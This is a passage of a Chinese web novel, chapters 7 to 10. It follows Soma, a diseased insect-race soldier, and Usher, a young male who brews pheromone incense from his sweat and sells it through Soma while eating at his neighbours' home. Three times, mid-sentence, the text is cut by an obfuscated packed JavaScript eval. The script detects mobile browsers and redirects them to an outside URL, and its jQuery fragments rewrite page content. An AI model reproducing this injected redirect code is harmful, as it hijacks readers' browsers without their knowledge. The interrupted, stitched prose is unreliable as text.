《穿越到虫族后被迫称王》 7. 第 7 章 索玛走在路上,香薰放在他胸口的口袋里,像一捧烫人的火星。 他心如擂鼓,即使怀里的东西被掩盖在衣料之下,那种香气——也许是错觉——仍烟雾般弥漫上来,环绕在他面颊四周,似有若无地触碰着他的口鼻。 这种香气他很熟悉,是乌舍信息素的味道。在乌舍给他血的当下,这种气味骤然在他肺腑中爆发又散去,过了一会儿,他发现自己因脑混乱引起的大脑锐痛停歇了,仿佛打进了一支强效镇痛剂。 尽管疼痛停歇的时间不长,但已经完全超乎了他的预想。他已经很久、很久没有体会过这样轻松的时候,更让他惊讶的是,即使疼痛复发,这股扎根在大脑深处的锐痛竟微微减轻了一些。 这绝不是E级雄虫的一滴血液能做到的事,索玛出生于利都,但他还算有天赋,刚成年就能虫化,普通雌虫往往是在成年后5-10年内才能做到这一点。而且他属于螳螂科下的大刀螳螂,虫化后一对宽大锋利的巨斧和布满尖锐齿列的四肢就是他在战场上最好的武器。 凭借天赋,他先是入选了忒修鲁下派到各个居住星的征兵队伍。入队的新兵要从士官做起,士官分为一级至六级;往上是尉官,分为少尉、中尉、上尉;再往上是校官四级,少校、中校、上校、大校;最后是将官,分为少将、中将和上将。 在军队中立下两个二等功后,他顺利从士官晋升为少尉,前往军事要塞赫拉德作为义务兵服役——四大护卫星士官以上的士兵都要前往赫拉德进行时间不等的服役,目的是让他们直面星际战场的厮杀,这被命名为“义务兵制度”。 在赫拉德,像他一样的雌虫数不胜数,甚至在不虫化的前提下,亚雌指挥官都能跟他贴身肉搏打个平手。 索玛曾经的骄傲被迅速磨灭,仿佛回到了还是一级士官的时候,每天都在服从指令、老老实实地训练。他内心深处烧灼着上进的火苗,作为义务兵比同僚更加拼命,因此来自各大护卫星的义务兵服役完归队后,他被选中留了下来,自己带一个排,编入赫拉德的正式连队。 这激励了他,虽然从事实上来说,他的天赋放在这里并不够看,不过他的努力弥补了这一点。包含服役时间,他总共在赫拉德待了40年,坐到了上尉的位置。但长时间透支体力训练和虫化战斗让他基因病发作的时间大大提早,75岁就进入了暴徒化的状态。 在平均寿命超过200岁的虫族,75岁仍处于巅峰期,可以说他的前途才刚刚铺开。索玛当然是不甘心的,但即使在雄虫数量相对较多的赫拉德,他的病情也难以得到医治。 在赫拉德的军塞中,存在一个独立编制的“疗愈旅”,这个旅全部由雄虫组成,大约有一万名雄虫在此服役。他们会定期下派连队前往各个师团,为因战斗短暂陷入脑混乱的士兵进行精神疏导,并缓解他们大脑的陈年旧伤。 下派的连队和疗愈旅也接受治疗暴徒化的申请,但这属于重症,持续时间长且极度耗费精神力,每次被批准的名额非常有限。 索玛打了申请报告,然而5年过去他还在排队的队列中,只是往前进了10名,前面还有数以千计的士兵在排队。 为了延缓症状,索玛不得不暂时离开赫拉德,从“正式兵”转为了“备用兵”,等到他哪天获得名额接受治疗,才能重新归队。 以索玛拼命换回来的功勋,他其实可以留在更为繁华的赫拉德或者是忒修鲁,但对于已经暴徒化的雌虫来说,生活几乎已经丧失了希望。大脑时时刻刻发作的疼痛让他们无心再进行什么物质享受,如果选择和雄虫结婚—— E级雄虫无法治愈基因病,而E级以上的雄虫普遍不会选择和半退役且已经陷入暴徒化的雌虫结婚。基于现实情况,索玛选择自我放逐,回到了家乡,进入放逐区等待那份不知何时会被批准的申请。 就这样无趣、单调地反复度过一天又一天,有时候索玛看着身边一个个越加狂暴的同类,偶尔会忘记自己到底在等待什么,仿佛他的一生已经走到了尽头。 直到他遇见了乌舍。 在赫拉德的时候,索玛接受过几次疗愈旅下派连队的精神疏导,最幸运的一次,甚至接受了BⅢ级雄虫的服务。 当时他离陷入暴徒化还很远,只是作战后一次短暂的脑混乱爆发,那位阁下只在几个呼吸间就完成了治疗,等索玛回过神来,他已经被守卫兵请了出去,都没来得及向对方道谢。 也因此,他能笃定乌舍绝不仅仅是E级雄虫。联系到乌舍未成年的身份,这也很正常——雄虫的等级在他们30岁成年后才会正式确定,出生时的评级只是对他们脑域开发程度的初始鉴定,随着雄虫的成长,他们的脑域很可能会持续开发,到生理成熟期才算发育完成,基本不会再有变动。 不过历史上也有雄虫成年后脑域二次进化的例子,但那仅仅是个例,相关资料也已经被封存了。 许多拥有E级雄虫的家庭,或者雄虫自己认为等级不该局限于此,往往会付出大量财力物力,尝试在发育期补充营养、开发脑域。 索玛猜测乌舍的最终评级能达到B级,甚至更上。那天他在原地体会着久违的健康,巨大的惊喜如同一场美梦,直到疼痛复发才醒神。 雄虫离开前拿他的脸颊擦手,随意抹上了指尖粘染的液体,属于他自己的唾液和雄虫指腹的血液一并凝固在了脸上——意识到这点后索玛如获至宝,病态地用指尖一点点刮下血痂送入口中。 原本这件事应当到此为止,这只是他漫长的等待中命运一次斑斓的垂青,叫他保持生的希望。 然而,尝过雄虫的血液后,在正午、在深夜、在第一抹晨曦升起,总之,在生活的某一刻时刻,他总是能闻到雄虫信息素的香气。 一开始他以为是自己过度惦念产生的幻觉,但那香味仿佛是从五脏六腑蔓延出来的,每每感受到香气时他大脑的锐痛都会有细微的缓和,似乎是属于雄虫的信息素仍在他体内发挥作用。 乌舍的模样反反复复出现在他脑海中,他开始无比想念乌舍。 他其实并没有存在让乌舍治愈他基因病的期冀,对方尚未成年,运用不了精神力。即使成年后突破E级,也没理由无缘无故给自己治病。他对乌舍的渴求是一种没有缘由的、不带利益索取性质的、更偏向本能的一种情感。 因为无法抑制,他做出了包括《宪法》在内的当下一切法律中都属于重罪的行为,跟踪雄虫。 怕自己真的做出什么,他给自己戴上了口枷,还主动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357311|152783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向利都政府申请开启“最高监管状态”。作为“暴徒”被植入芯片后,在这个监管等级下只要他的兴奋阈值超过上限,芯片将自动产生高压电流。全程不需要人为下达指令,AI会对芯片释放电流的情况进行备案。 通过跟踪,他判断出乌舍是没有家庭背景的单身雄虫,而乌舍也比他想象中的更敏锐,更大胆。 他认为乌舍需要金钱是为了购买营养品提升自己的最终评级,而他已经决定达成乌舍的一切决定,就算他非常明白自己正在做的是什么事情。 在当下,雄虫的精神力被列为“器官”,这也包含精神力的衍生物,信息素。任何枉顾雄虫意愿索取雄虫精神力的行为直接归类为“故意伤害罪”,倒卖信息素的行为等同于倒卖器官,归类为“出卖雄虫器官罪”。事关雄虫,任何法官都不会对雌虫留情。 索玛已经做好了心理准备。 而另一边,乌舍已经回到了家里。 索玛的跟踪水平并非不高明,只是他天然对外界的一切保持高度敏感,基于原身简单至极的人际关系,嫌疑人十分容易锁定。 今天的放逐区之行是一次试探,结果也不出预料,当然,也存在他猜错的可能,但人生在世总是要冒点险。 他原本已经放弃做信息素的生意,但在去过何冬塞的店后改变了想法。尽管作为E级他的信息素无力治愈基因病,可退一万步说,就算雄虫的信息素对雌虫没有任何医疗上的效果,但在这个雄雌比例极不平衡的社会,想必雌虫也会为雄虫的信息素买单。 正如雄虫也单单会为气味好闻的香薰买单一样。 乌舍详询问了何冬塞制作香薰的基本步骤,又在网上查阅了详细的香芬提炼方法。何冬塞送给他的是一瓶液态香薰,一般放在家里充作摆件,他自己定做了容器,将香薰里的液体均等分成三份进行实验。 根据A13的科普,雄虫体.液内的信息素浓度排序是精*>血液,其他体.液如汗液、泪液、唾液等所含的信息素相差无几,浓度都排在血液之后。 既然E级雄虫的信息素对雌虫的基因病几乎不起作用,信息素浓度的高低就没有意义,反正都只是闻个味道,他便选择了最容易收集的汗液作为原料。 乌舍通过水上蒸馏法提取出汗液中的芳香物质,再以溶剂直接萃取去除其它不必要的成分,比如乳糖、脂肪,最后加入定量乙酸酐使芳香物质分子与醇分子结合,得到提炼后的汗液香精。 当然,这只是他套用了液体香芬的萃取步骤,能够提炼出汗液所含的香气。但提炼出的是否就是信息素的气味存疑,信息素反而在这过程中被分解了也说不定。 直到拿到成品,闻到比汗液直接散发的、更浓的信息素气味,乌舍才确认这一套行之有效。 为了更保险,他将汗液、汗液香精,以及吸附了汗液香精的PAROPARK-Q固态吸附剂,分别加入三份液态香薰中。实验结果证明只加入汗液的香薰几乎没有气味变化,直接滴入汗液香精那份气味最强烈但留香时间不久,放入了吸附剂的液态香薰达成了相对而言的最佳平衡。 乌舍给索玛的正是这份,信息素香薰制作的实验已经结束,但在香薰贩售方面,他的试探才刚刚开始。 8. 第 8 章 乌舍身上的英吉在连日外出吃饭、购买香薰制作器材等花销后已经见底,他现在连一支最基础款的营养液也买不起了。 A13一直在他脚边转圈圈,发出电子音的哭泣,并询问他是否要向政府寻求帮助。 乌舍并不打算现在就去和政府打交道,他相信交给索玛的东西能给他带来第一桶金,不需要这么早去面对政府很大可能会给出的“卖身契”。 ——不过,其他开支都可以缩减,但吃饭的费用是必要的。 乌舍并没有即将饿死的紧张感,因为他还有一个好邻居,可以让他蹭饭。 何冬塞第一次被乌舍按响门铃的时候异常震惊,他站在门口端详乌舍半晌,才开口。 “乌舍阁下,请问......?” 乌舍坦然对上他的目光,直白道:“我身上没有钱了,想来你家吃午饭。” 与在敞着门、人来人往的店内不同,一名雄虫独身敲开雌虫的家门是非常暧昧的事。听完乌舍的说辞,何冬塞才将发散的思绪收回来,并意识到现在正是饭点,他刚刚也的确在用餐。 满足雄虫的需求对于当今社会的雌虫来说是和本能一样自然的事,更何况他现在已经和乌舍有了些交情,只是吃一顿饭而已,何冬塞不觉得有什么冒犯的。 只是...... 何冬塞犹豫片刻,对乌舍道:“您稍等,我需要询问家人的意见。” 在乌舍点头后,他没将大门闭合,留了一道门缝,便转身快速离开。 乌舍目视他的背影消失,透过开启的房门能瞧见一些屋内的陈设,但他并未进行窥探,只是百无聊赖地转开视线,平静地盯着院子里的花草。 没多久,何冬塞回来了,对方露出一个笑容,侧身邀请他进门。 这在乌舍预料之中——能住在这里,说明这个家里有一个E级雄虫,通过这些天和雌虫的沟通,乌舍确信他们不是伴侣关系。家人的身份相对于伴侣来说,对雌虫的束缚要小一些,在乌舍的预想里,就算屋里的雄虫拒绝让他进门,何冬塞也会另外装一份食物给他。 这栋房子的装潢比乌舍那栋要好得多,倒不是说有多华丽,而是非常具有烟火气。从进门时柔软的拖鞋,到暖色调的窗帘、脚下的长毛地毯、沙发上的玩偶、桌上的鲜花,处处温馨,是充满爱的氛围。 政府分配的房屋都是同样的房型,由于整体面积不大,客厅和餐厅是连在一起的。因此换好拖鞋走过门关,乌舍就见到了这栋房子真正的主人。 一个看起来非常漂亮、也异常孱弱的雄虫。 对方和何冬塞一样,是金色头发,但发丝黯淡无光,尾端因为干燥而蜷曲。他的脸很小,色泽浅淡的眉毛下一对海水般的眼珠,浓密的睫毛在眼睑投下阴影的波澜,面颊的弧度饱满且柔和,下巴尖尖的,皮肤很白。 长到肩膀的发丝随意扎在脑后,几缕像要枯萎的金发散落在他鬓角,这并未让他显得凄凉,只流露出让人控制不住生出怜悯的脆弱感。 “你的朋友?”雄虫看过来,眉毛微微蹙起:“没有钱就来我家,是乞丐吗?” 何冬塞立刻尴尬起来,手足无措,身体在乌舍和雄虫之间左右摆动,语不成调地说:“小慈......阁下抱歉,小慈你刚才说......” 乌舍却没有生气,连一丝难堪的神色也无,打量过餐桌后,动作自然地拉开雄虫对面的椅子坐了下来。 他双手交握于桌面,和雄虫对视,说:“我正在做一笔生意,需要时间等资金回笼,这段时间我会来这里吃饭。” 雄虫脸上才显出一抹冷笑,乌舍不紧不慢地补充道:“我写了一份借款合同,上面是我预估的伙食费金额,收回资金后我会还钱。如果还不上,你们可以拿着合同去法院告我。” 在当下,对于任何需要签字画押的东西雄虫都会非常谨慎,因为获得他们承诺的对象往往不期待他们完成约定,违约的雄虫带来的价值比履约的雄虫更高。 比如借款合同中,作为债主的雌虫大多会要求雄虫用婚约来抵消债务,就算是债主是亚雌和雄虫,他们也有家人、朋友,甚至还可以转售雄虫的婚约,而法官通常会支持他们的诉求。 所以雄虫一旦做出法律意义上的承诺,就等于将自己置身卖买的天平,没有拥有足够的自信,雄虫绝不会这么做。 金发雄虫的表情收敛,眼神变得严肃起来。他探究性地望着乌舍,几秒后,伸出了一只手。 乌舍从兜里摸出已经签好字的便签,递过去。 虽然只是写在便签上,但合同的书写形式和内容都很正规。因病在家其实没怎么受过教育的雄虫被唬住,看过上面注明的优渥的伙食费后,抬臂把便签递给了何冬塞。 “你看。” 何冬塞快步走上前,仔细确认了一下便签的内容,向他微微点头。 金发雄虫就说:“你来签。” 何冬塞尴尬起来,一张英俊的脸有些发红。他偏头看了眼乌舍,发觉乌舍没有任何特别的反应后,顿了顿,拿笔在便签上签下了名字。 搭伙吃饭的事情落定,气氛总算缓和了点,何冬塞在金发雄虫旁边坐下,正式介绍道。 “这是我弟弟,何慈林。小慈,这是乌舍·狄俄尼索斯·冥,乌舍阁下,是我们的邻居。” 何慈林再次与乌舍对视,矜娇地伸出手:“你好,乌舍,我听哥哥提过你。” 乌舍和他相握,回应:“你好,慈林。” 基于血脉的不同,各科属的虫取名习惯也有区别,原身和何家兄弟的取名方式就不一样。雌虫称呼雄虫必须要带尊称,同等级的雄虫之间则没这个规矩。 为什么家里没有长辈,只有他们两个,何冬塞没说,乌舍当然也没主动问,他本身就不是好奇心重的人。相互介绍后,何冬塞起身给乌舍单独分了一份食物出来,放到他手边。 桌上摆着四样菜品,分量都比较大,看起来很平常。 何慈林手边另外摆着一盘肉和一碗汤,和其他菜相比,不管是香味还是色泽都明显上了个档次,给乌舍的食物就是从这里面分出来的,何冬塞自己没有。 乌舍道了谢,让何慈林怪异地看了他一眼,但何冬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357312|152783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塞已经习惯了乌舍有别于其他雄虫的礼貌,只是笑着说没关系。 对于食物的味道,乌舍比较挑剔,出乎意料的是,他对何冬塞给的食物接受良好。并不是说菜品的味道本身多合他胃口,相反,这碗原材料不明的汤对他来说过于寡淡了,却让他感觉到开胃,仿佛他的身体有了自主意识,很倾向这些食材似的。 乌舍对此升起警惕,不着痕迹地用终端扫描了这两样菜,打字询问A13。过了片刻,A13的回复弹出,显示在终端屏幕上。 “鉴定完毕: 这盘肉类食品的纹理、颜色与经过加工的蛐甲肉相符,大概率取材于蛐甲的心脏;另一碗汤食所含的颗粒物符合磷矿特征,可以判断为银磷矿种。 蛐甲与银磷矿含多种雄虫发育期所需的营养物质,有传闻银磷矿对雄虫开发脑域有帮助(尚未经科学论证),市面价格为300-500英吉/只、650-800英吉/颗。” 乌舍了然,他在合同上写明的是每天来吃中餐和晚餐两顿饭,期限定为一周,支付5000英吉的伙食费。这个费用在乌舍的预估里是偏高的,但对他一向客气有加的何冬塞在看到合同金额后丝毫没有推让,原因看来就在这里。 同时,乌舍也知道了为什么对方的香氛店明明收入不错,自己却衣着朴素,十分节俭。精心供养一个雄虫的花销比他想象的要大,尤其是何慈林看起来身体还不太好,医疗也是一笔不小的费用。 事实正是如此,开始用餐没多久,何慈林就主动问。 “你刚刚说,你在做生意?” 对于雄虫,尤其是E级雄虫,做生意是个新鲜的词。乌舍心中已经有了成算,但没现在就展开说,只是颔首。 何慈林忍不住追问:“所以你在做什么?” 乌舍淡淡道:“过几天我再告诉你,我正打算找合伙人,如果有意向的话,你们到时候可以加入。” 何冬塞不由想起乌舍这一阵频繁来到他店里,并询问调香的事,猜测乌舍做的生意大约和这方面有关联。又产生一点疑惑,他已经知道乌舍单身一虫了,仅靠政府提供的津贴,能够满足生意的前期投入吗? 何慈林的心情就简单得多,不满乌舍和自己兜圈子,脸上立刻透出不满。 相貌好总是会有优势,何慈林即使露出这样的表情也不讨厌,何冬塞下意识就要哄他,但又顾忌着乌舍在场不方便开口。乌舍并没有把他的小情绪放在眼里,转开了话题。 “店里售卖的香薰是你在调香吧?” 每次他问及香薰制作流程的问题,何冬塞都能对答如流,一旦涉及香味的调香,对方就开始顾左右而言他。既是在隐瞒,也是真的不太清楚。 而通常情况下,从事调香行业的也的确是雄虫和亚雌比较多。 何冬塞在外面瞒着主要是不想暴露家中有雄虫这件事,现在的话……他和弟弟对视一眼,何慈林朝乌舍点了点头。 乌舍就笑起来,用一种自觉平常但在何慈林听来过分浪荡的语气说。 “你调出的香味和你的信息素一样好闻。” 9. 第 9 章 虫族里只有雄虫有信息素,因此也只有他们散发的气味分子才具有特殊的味道。 由于信息素与精神力直接相关,特殊性和珍贵性让其在法律上被同等列为器官,对雄虫信息素气味的讨论一般发生在家人、伴侣和雌虫间带点“颜色”性质的私语中,雄虫之间很少这样讲。 何慈林和乌舍同龄,出生就失去了双亲,在破壳期没有得到充足的照顾,导致从小身体不好。他被何冬塞精心照顾养大,几乎不出门,乌舍是他见过的唯几的陌生访客,更是唯一的雄虫访客。 他日常顶多透过窗户见到雄虫邻居们走过,从未进行攀谈,这会儿直面乌舍关于信息素气味的称赞,一时间竟卡了壳。 何慈林脸颊涨红,近乎瞠目结舌地望着乌舍。他的蓝眼睛睁得圆圆的,睫毛的颤抖带起阴影摇晃,就像海水掀起波澜。鼻翼小幅度收缩着,手指紧张地抓着餐具。连何冬塞都坐立难安——这是属于雄虫间的隐私话题,即使作为家人,他也觉得自己不该听。 乌舍张口,还想详细点评:“类似于......” 何家兄弟同时出声。 “够了!” “阁下,请停下!” 乌舍慢半拍收声,坦然而平静地闭上嘴巴。这个话题结束后,接下来的用餐时间里,看起来脾气很差的何慈林保持了高度安静,连吞咽声都不怎么听得到,但眼神时不时会落到乌舍身上。 何冬塞缓过来神,克服了那阵尴尬后,在礼貌的范围内他开始主动照顾乌舍用餐。乌舍间或和他聊一聊店里的事,一顿饭相安无事过去,送别时,何冬塞告知了乌舍他们的晚餐时间。 大门闭合,何慈林立刻对兄长大喊:“他根本不像个雄虫!” 何冬塞无奈又纵容地望着他:“......你又见过几个雄虫呢?” 何慈林语塞,何冬塞抬手轻轻抚摸他的发顶,他冷哼一声拂开兄长的手,踩着拖鞋“嗒嗒嗒”地跑回房间了。 这一边,乌舍过着定时去邻居家搭伙吃饭的平静生活,而距离E级雄虫住宅区“LE”的数个区外——放逐区。这里晦暗不见光的麻木、死寂的表象被打破,一支仅仅10ml的蓝色溶液在暴徒中掀起暗涌。 索玛拿到乌舍给的香薰后没有马上出手,而是在身边留了几天。 他体验过乌舍血液的威力,想要测试含有雄虫信息素的香薰对他的身体是否具有同等效果。可惜的是,也许是摄入浓度的差别,只是闻嗅散发着信息素气味的香薰无法减轻他大脑的疼痛。 不过,索玛并未因此否定香薰的疗愈作用。在他于赫拉德服役的那段时间,他接受过C-V级至B-Ⅲ级雄虫的精神疏导,一个共识是,当雄虫的精神力等级足够高,脑混乱症状轻微的雌虫即使未经疏导,只是待在对方身边都会在信息素的作用下安分下来。 索玛切身体验过,彼时他刚下战场,高强度的作战让精神持续紧绷。爆炸、嘶吼和血腥味笼罩整个脑海。他的一条胳膊几乎被异族直接咬断,赢得胜利后骤然放松的神经让他霎时跌入混沌深渊,理智丧失,感受不到除大脑以外的疼痛。 胳膊在药物和高强度自愈能力的作用下很快好转,也让他更想在混沌中大闹一场。 他被医疗兵熟练的绑住,扣押,然后送到正在他们连队当值的阁下那里。当时的他当然对外界发生了什么一无所知,只知道随着距离越近,一股奇异的气息缓缓包围了他。 那是一种潮湿的,沾染着雨后草木香气的味道。他感受到混沌的世界下起小雨,轻飘飘的雨水无法伤害他,只是会将他淋湿。变得湿漉漉后,他的脑袋变得没那么疼,好像归顺在绵绵细雨中,想要在草丛中安眠。 接着,极其强烈的凉意忽然兜头罩下,一瞬间雨声大作。他猛地被惊醒,睁开眼,就见那位阁下从他头顶收回手,没有看他,只微微挥了挥胳膊。 医疗兵立刻把他带出了诊疗室,他踏出诊疗室大门的那刻才反应过来先前发生了什么,医疗兵面带崇敬、向往地感叹。 “上尉,知道吗,你一靠近那位阁下就不挣扎了。一分钟不到,大约只有三十秒吧,阁下只是动了动手指就将你从混乱中拉了回来!赞美阁下!” 两相比较,索玛笃定乌舍的等级绝不限于E级,香薰对他无效可能是因为他曾经接受过信息素浓度更高的雄虫的鲜血,如果从未接受过雄虫信息素的暴徒,结果也许会不一样。 索玛做完判断后仔细筛选对象,最终在放逐区选定一名雌虫。这名雌虫踏进放逐区的时间不过一年,处于暴徒化早期,在此之前他在利都应当小有身家,如今通过自己带进来的物资储备在这里开了家零售店,贩卖烟和酒。店内货源不断,却没见他自己外出采购,有别的谁在给他送货。 放逐区的商店都开在建筑群的隐蔽处,从外面看这里不过荒芜一片。里面的商店有的要价超乎寻常,专宰脑混乱到中后期的无理智雌虫;有些只比正常市价高一些;有的接受以物易物。 索玛将香薰挂件缠绕在手臂上,水滴形的容器并不大,恰恰好装下10ml的液态香薰而已,坠在底部的吸附剂呈乳白的圆形,宛如一颗珍珠。 挂件的银色链条被衣袖遮挡,香薰悬在腕边,隐隐显露出莹蓝的光泽。 他去对方的零售店买酒,这里的老板不宰客,烟卷和酒水分门别类,各个价位都有——这也再次验证了店的主人并不缺钱。 商店由两个铺面打通,空出的地方还摆了桌椅,买了酒的雌虫会就地坐下来喝一杯,聚集的雌虫多了便一起玩牌赌博。 索玛第一次去的时候挑了个顾客少的时间段,店内除了他和老板就只有个已经喝趴下的雌虫。他进门,手撑在吧台上挑选酒柜里的酒,老板就靠在吧台后的躺椅里,他们的距离很近。 挑完酒,索玛抬手指着酒柜,要老板帮他取过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357313|152783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。香薰随着他的动作在袖口内晃动,当老板取来酒,他们的手指相触,香薰几乎挨到对方的腕部。 索玛在桌边坐下,通过余光,他看见老板皱起眉毛,低头嗅了嗅自己的手腕。 他不紧不慢地喝酒,感受着老板断断续续、似有若无飘过来的视线。终于,喝到一半,对方离开吧台,主动拿出一支好烟卷递给他。索玛坦然接受,和他共享一瓶酒。酒杯相碰时香薰也摇晃,莹蓝色的光晃进老板眼底,他的视线逐渐移不开了。 索玛第二次来店里,商店内顾客很多,吧台也挤满了雌虫。他这次挑了香烟,没停留多久就离开,走出大门的那刻他听见有雌虫发问,“你们有没有闻到什么味道?” 第三次到店里的时候,索玛已经做好了准备。果不其然,在他拿着酒坐下没多久,老板就放轻动静清了场。把其他顾客全部请离后,他来到索玛面前,索玛自觉起身,做势要走,但立刻被拦住去路。 “嘿,我的朋友,你不需要走。” “你可以继续享用美酒,哦,不只是你现在桌上的。这里所有的烟和酒,只要你喜欢,你都可以享用它们。” “代价呢?”索玛盯着他:“我可没带那么多钱。” 老板的眼中显出直白的贪婪:“不需要钱......我要你手上的那个小玩意儿。” 索玛显出被激怒的神情,而老板也不打算让他轻易离开。他们大打出手,老板属于胡蜂科,虽然不及有过从军经历的索玛,虫化后螫刺的威力也十分强大。索玛半真半假地受了些伤,最终被“夺去”腕上的香薰。 老板将受伤的索玛连同沉沉一袋子墨石扔出店外,他在打斗时发觉索玛实力强悍,不想因此结成死敌,用钱表明双方已经两清。尽管这完全是强买强卖。 索玛并拿到墨石后没有马上去找乌舍,而是选择等待。如他所料,没接受过更高浓度信息素的雌虫无法逃过乌舍信息素的捕获,老板获得香薰后舍不得摘下,日日将它贴身戴着,因此招惹了店内的顾客,他遭遇了抢劫。 而劫掠者身后还有更多的劫掠者,小小一枚香薰伴随着爆发的暴力和血腥在不同的雌虫手中流转,现在已经不知道谁是最后的所有者。 ——唯一能明确的是,在整个过程中有越来越多的雌虫都闻到了这个味道,这股气味难以言说,只要沾过手便成为每一个暴徒独熬深夜的幽深梦魇。 它像大火燃烧过后木炭和焦土的气息,是灰烬与残骸,但它又是冷的,仿佛被焚烧的是一块冰。冰凉的巨物在燃烧,冷意、灼烫混杂着上涌席卷,叫闻嗅者顷刻置身于流淌着岩浆的雪山脚,目睹火山喷发后雪岩寸寸融化的绚烂地狱。 它被暴徒们称呼为,冷火。 冷火已经在放逐区消失,但需求仍然存在,甚至不断扩大。一个又一个雌虫顺藤摸瓜追根溯源,终于,在某个森冷的雨夜,索玛的大门被不请自来的访客敲响。 10. 第 10 章 乌舍再见到索玛是十天后,他刚刚和何家兄弟续约,延长搭伙吃饭的时间。 E级雄虫的住宅区在利都主城区的内圈,安装了监控但并未设置安保,这意味着即使是暴徒化的雌虫,只要是在清醒状态,也能堂而皇之地进入小区大门。 不过索玛到访时,出于替乌舍避嫌的顾虑,他选择了在深夜翻进围墙,敲响乌舍的窗户。 首先接收到访客信号的是A13,这个忠心的机器管家用电子音尖叫起来,它的声音惊动了乌舍,接着才让他注意到轻轻震颤的玻璃。 乌舍开了窗,索玛于是翻身进来,雌虫仍戴着宽大的兜帽和坚硬的口枷,面对乌舍,他拉下了帽子,露出轻微充血的眼睛,以一种驯服的姿态站在房内。 “阁下。”索玛递上一个钱袋,这是零售店老板强买强卖时扔出来的,“这是您出手的东西的费用,我还有其他事情需要跟您商量。” 乌舍接过钱袋,瞥了下睁着黑色豆豆眼在边上旁听的A13,领着他去了书房。A13被关在门外,郁闷地绕了两个圈圈。 钱袋里装着的都是墨石,乌舍放松地靠在椅子上,随意把墨石倒出来清点,两块超过15克的,三块10克的,成色都还不错。 墨石的计价5克为一档,抛开有重大瑕疵和成色极高的例外,一般是5克墨石等于5000英吉。也就是说经由索玛出售,只是用了些乌舍汗液作为原材料的,一枚10ML的香薰就为他带来了超过6万英吉的收入,不能不说是暴利。 乌舍心情愉快,随手捡了那两块大的墨石之一扔给索玛。索玛接住,却没有收下,缓慢靠近后,双手捧住归还给了乌舍。 由于乌舍是靠坐在椅子里的,站着的雌虫需要俯身。随着距离拉近,那双墨绿色的眼睛中翻滚的渴望暴露无遗。 乌舍抬眼和他对视,修长的手指取走墨石,问:“你不要?” 索玛喉结滚动,没有说话。 乌舍笑起来,又问:“那你要什么?” 索玛维持了片刻的沉默,他像在压抑情绪,但最终败给了心底的渴望。哑声道:“您先前说过......会给我更好的。” 乌舍定定地望着他,脸上的笑容一点点收敛,就在索玛感受到惶恐的时候,乌舍抬起胳膊搭住了他的肩膀,往下用力。 雄虫分明什么也没说,索玛耳边却响起了对方的声音,清晰到绝不属于臆想或错觉。 他说的是,跪下。 索玛的脊背微微颤抖起来,他屈起一条腿,先是单膝,而后双膝都跪在地上。宽大的斗篷下摆在地面铺开,像伸展出的黑色虫翼。 乌舍的手绕到索玛脑后,松开了口枷搭扣,口枷由一层紧贴皮肤的布料和金属外层组成,掉在地上撞出清脆的声响。 索玛的脸颊被布料蒙出汗水,沾在苍白的皮肤上,仿佛正在融化。 但他分明是很坚硬的,无论是意志、骨骼或者眼神。雌虫的眼眶过分发红,已经不全然是脑混乱的病情表征,还因为正在忍耐剧烈的渴求。尽管如此,他脊背挺直,和乌舍身处的椅子隔着一小段距离,手掌握拳,并未主动触碰到雄虫一丝一毫。 乌舍的手指按上他的下唇,说:“张嘴。” 声音清冷冷的,和刚才响在索玛耳边的并无二致。雌虫毫无反抗地张开嘴巴,扬着脖颈,完整显露出脖颈线条。眼皮随着动作半阖,轻轻抖动着。 乌舍的指尖探进雌虫的口腔,比人类的温度低一些,潮湿的感觉更明显,像是深入了某种洞穴。他以探索的姿态抚摸口腔结构,从牙齿,到上颚,再到舌头。分泌的唾液从雌虫唇角溢出,等到他的颧骨开始发红,乌舍终于满足了自己的好奇心,手指压上他呈曲状的,比人类更锋利的前牙。 只稍加施力,指腹轻易被划破。鲜红的血珠沿着尖牙的弧度往下流淌,直至滚落到舌面。 较乌舍周身散发的气息更浓郁的、来源于血液的信息素香气弥漫,接住那滴血珠的皮肤好似骤然蹿升起一簇火苗,而后迅速扩散到整条舌头、整个口腔,再涌进咽喉,随着气管一路往下烧去。 炽热的焦土气息带来的却是冰冷的触感,身体在高温下舒展,疼痛被冷意镇压,索玛如同置身岩浆,在无痛苦的平和中眺望冰川。融化的积雪混合着灰烬在空中翻飞飘散,又缓慢下坠,落到他的脸颊上。 